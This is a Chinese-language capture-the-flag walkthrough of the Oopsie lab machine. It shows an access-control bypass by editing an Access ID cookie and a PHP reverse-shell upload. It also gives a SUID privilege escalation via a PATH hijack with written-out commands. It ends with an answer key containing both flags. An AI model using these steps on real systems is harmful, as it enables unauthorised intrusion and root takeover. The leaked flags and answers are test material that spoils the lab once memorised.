前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Oopsie靶机
渗透过程
信息搜集
- 服务器开放了22SSH端口 和 HTTP80端口
FindSomething插件
- 介绍:帮助寻找网站的js接口,辅助渗透
- 通过js接口查找,发现目录/cdn-cgi/login 登录接口
- 通过游客模式登录
越权登录 访问uploads 文件上传模块
- 账户页面记录了 Access ID 和用户姓名
- 数据包通过user 验证Access ID 和 role 验证 用户名
- 猜测可以通过修改 进行越权操作
- 遍历id 内容,发现admin的相关信息,尝试访问 上传文件模块
- 通过Access ID 越权 修改用户名,访问到uploads页面,后续尝试上传文件漏洞
上传木马文件,连接会话
准备工作:
- kali提供了一份shell连接文件,存放在:/usr/share/webshells/php/php-reverse-shell.php
- 修改ip 端口 为本地服务器
- 修改为admin管理权的权限,上传shell.php文件
- 需要升级成交互式会话
SHELL=/bin/bash script -q /dev/null
- SHELL是环境变量,它的值代表系统执行shell的文件位置
- script 运行新shell
- -q 安静运行
- /dev/nulll不保存记录的终端会话内容
用户flag:f2c74ee8db7983851ab2a96a44eb7981
权限提升
- 网站目录中 数据库配置文件,尝试切换账户
- 通过id查询,发现rebert用户属于bugtracker用户组
find / -type f -group bugtrackert 2>/dev/null
- 查找bugtrackert用户组 文件
- 发现bugtracker 用户组 具有 s权限
- s权限代表其他用户在执行该文件时会以该文件的所有者的身份执行
- 在这边是root用户管理者身份
通过strings 命令,查看文件内容:
strings /usr/bin/bugtracker
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
strcpy
__isoc99_scanf
__stack_chk_fail
putchar
printf
strlen
malloc
strcat
system
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7697
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
test.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
putchar@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
strcpy@@GLIBC_2.2.5
_edata
strlen@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
concat
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
malloc@@GLIBC_2.2.5
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
strcat@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
- cat /root/reports/ ,可以观察到该文件访问了root路径内容,该文件又是suid权限
- 同时cat命令不是绝对路径写入
- 系统会向环境变量中 寻找cat命令,如果找到则停止,所以我们在环境目录添加一个恶意的cat命令,造成权限提升
cd /tmp/
echo '/bin/sh' > cat
chmod +x cat
export PATH=/tmp:$PATH
- export PATH=/tmp:$PATH 代表命令从/tmp目录寻找
- 执行bugtracker文件,提权成功
- flag:af13b0bee69f8a877c3faf667f7beacf
答案
- 1.什么工具可以拦截流量?
proxy
- 2.web服务器的登录路径是?
/cdn-cgi/login
- 3.可以修改那些内容 可以上传文件?
cookie
- 4.admin用户的Access ID是什么?
34322
- 5.上传文件时,存放在服务器哪个位置?
/uploads
- 6.存放robret用户的账户密码凭据在哪个文件?
db.php
- 7.使用什么命令来查询组bugtracker拥有的文件?
find
- 8.无论哪个用户运行bugtracker ,都是什么权限?
root
- 9.suid代表什么?
Set Owner User ID
- 10.文件里不安全的命令是什么?
cat
- 11.用户flag是什么?
f2c74ee8db7983851ab2a96a44eb7981
- 12.最终flag是什么?
af13b0bee69f8a877c3faf667f7beacf
总结
- 今天我们介绍了越权漏洞 和 suid提权,findSometing js接口插件